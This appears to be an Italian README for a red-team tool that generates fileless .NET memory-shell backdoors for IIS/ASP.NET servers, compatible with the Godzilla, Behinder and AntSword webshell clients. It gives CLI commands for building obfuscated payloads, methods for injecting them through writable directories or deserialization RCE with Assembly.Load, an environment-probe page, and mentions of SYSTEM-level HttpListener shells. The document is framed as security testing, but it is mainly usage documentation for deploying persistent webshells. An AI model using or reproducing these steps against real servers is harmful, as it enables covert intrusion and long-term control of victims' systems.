
Genera payload memory-shell .NET parametrizzati (VPP, route MVC, HttpListener) compatibili con i client Godzilla, Behinder e AntSword per il red team testing.
Generatore parametrizzato di memory shell .NET | Red team / security testing | equivalente di JMG per .NET
+-----------------------------------------------------+
| nmg.exe (CLI) |
+------------------------+----------------------------+
| generate (payload) | probe (env detection) |
+------------------------+----------------------------+
| Protocol Layer |
| +----------+ +----------+ +----------+ |
| | Godzilla | | Behinder | | AntSword | |
| | AES-128 | | AES-128 | | Base64 | |
| +----------+ +----------+ +----------+ |
+------------------------------------------------------+
| Template Layer |
| +----------+ +----------+ +--------------+ |
| | VPP | | Route | | HttpListener | |
| | IIS hook | |MVC Route | | Standalone | |
| +----------+ +----------+ +--------------+ |
+------------------------------------------------------+
| Compilation Engine |
| Roslyn -> DLL (net40/net472) |
| deterministic / XOR obfuscated / randomized |
+------------------------------------------------------+
| Output Layer |
| aspx injector / base64 / dll |
+------------------------------------------------------+
NMG genera payload memory shell .NET parametrizzati che si iniettano nelle applicazioni IIS/ASP.NET senza lasciare file su disco. Dopo l'iniezione, ti connetti con i gestori di webshell esistenti (Godzilla / Behinder / AntSword) - NMG si occupa solo di far funzionare il lato server.
Pensalo come: parametri di input -> payload compilato -> iniezione -> connessione con il client
| Tipo | Target | .NET Framework | Punto di attivazione |
|---|---|---|---|
vpp | IIS/ASP.NET | 2.0+ | VirtualPathProvider.GetCacheKey |
route | MVC/WebAPI | 3.5+ | RouteBase.GetRouteData |
httplistener | Standalone/SYSTEM | 2.0+ | HttpListener (indipendente da IIS) |
| Protocollo | Client | Crittografia | Verificato |
|---|---|---|---|
godzilla | Godzilla 4.x | AES-128 (key=MD5(pass+key)[0:16]) | ✅ End-to-end |
behinder | Behinder 4.x | AES-128 (key=MD5(pass)[0:16] raw bytes) | ✅ End-to-end |
antsword | AntSword | Base64 | ✅ End-to-end |
| Formato | Caso d'uso |
|---|---|
aspx | Carica in una directory scrivibile, accedi una volta per iniettare |
b64 | Per la distribuzione via RCE tramite deserializzazione/iniezione di espressioni |
dll | DLL grezza per loader personalizzati |
| Comando | Scopo |
|---|---|
generate | Genera il payload memory shell |
probe | Genera un aspx di rilevamento dell'ambiente (riporta CLR/trust/MVC/VPP) |
version | Mostra la versione |
help | Mostra l'utilizzo |
Interfaccia web integrata con tema Inset Dark (minimalismo in stile Linear):
cd src/Api && dotnet run --urls "http://127.0.0.1:9901"
# Open http://127.0.0.1:9901
# VPP memory shell, Godzilla protocol, net40 target
nmg generate --type vpp --shell godzilla --pass p@ss123 --seed 42
# Route memory shell for MVC targets
nmg generate --type route --shell godzilla --pass mypass --target net472
# HttpListener for SYSTEM-level access
nmg generate --type httplistener --pass root --path "http://*:8080/cmd/"
# AntSword protocol
nmg generate --type vpp --shell antsword --pass mypass
# Generate environment probe page
nmg probe -o probe.aspx
# Output as Base64 for deserialization delivery
nmg generate --type vpp --shell godzilla --pass p@ss123 --format b64 -o payload.b64
Metodo 1 — iniettore ASPX:
.aspx generato in qualsiasi directory scrivibile sul targetAssembly.Load + registrazione VPP).aspx/.ashx/.asmx esistente sul sitoMetodo 2 — Base64 (consegna RCE): Esegui in qualsiasi punto di esecuzione del codice:
Assembly.Load(Convert.FromBase64String("<payload>"))
Carica il file probe.aspx generato e accedilo una volta. Restituisce un JSON con:
{
"clr": "4.0.30319.42000",
"trustLevel": "Full",
"mvc": false,
"vpp": "Net.Net.Loader.PathHandler74",
"appPool": "NmgLab"
}
Usalo per determinare quale tipo di memory shell e protocollo utilizzare.
ASP.xxx_aspx+ClassNamedotnet build
dotnet test
dotnet publish src -c Release -r win-x64 --self-contained -o publish/
nmg/
├── src/
│ ├── Program.cs # CLI entry point
│ ├── GenerateOptions.cs # generate pipeline (protocol × type × format)
│ ├── ProbeCommand.cs # probe subcommand
│ ├── Shells/
│ │ ├── GodzillaCSharp.cs # Godzilla protocol (AES-128)
│ │ ├── BehinderNet.cs # Behinder protocol (AES-128 raw bytes)
│ │ └── AntSwordNet.cs # AntSword protocol (Base64)
│ ├── Templates/
│ │ ├── VppTemplate.cs # VirtualPathProvider registrar
│ │ ├── RouteTemplate.cs # RouteBase registrar
│ │ ├── HttpListenerTemplate.cs
│ │ └── ProbeTemplate.cs # Environment probe page
│ ├── Compiler/
│ │ └── RoslynCompiler.cs # Multi-target deterministic Roslyn
│ ├── Randomizer/
│ │ └── SeedRandom.cs # Deterministic randomization
│ ├── Formats/
│ │ ├── AspxInjector.cs # Self-contained aspx injector page
│ │ └── Base64Output.cs # Raw Base64 output
│ └── Api/
│ ├── Program.cs # ASP.NET Core minimal API
│ └── wwwroot/index.html # Web UI (Inset Dark)
└── tests/ # 35 unit tests
MIT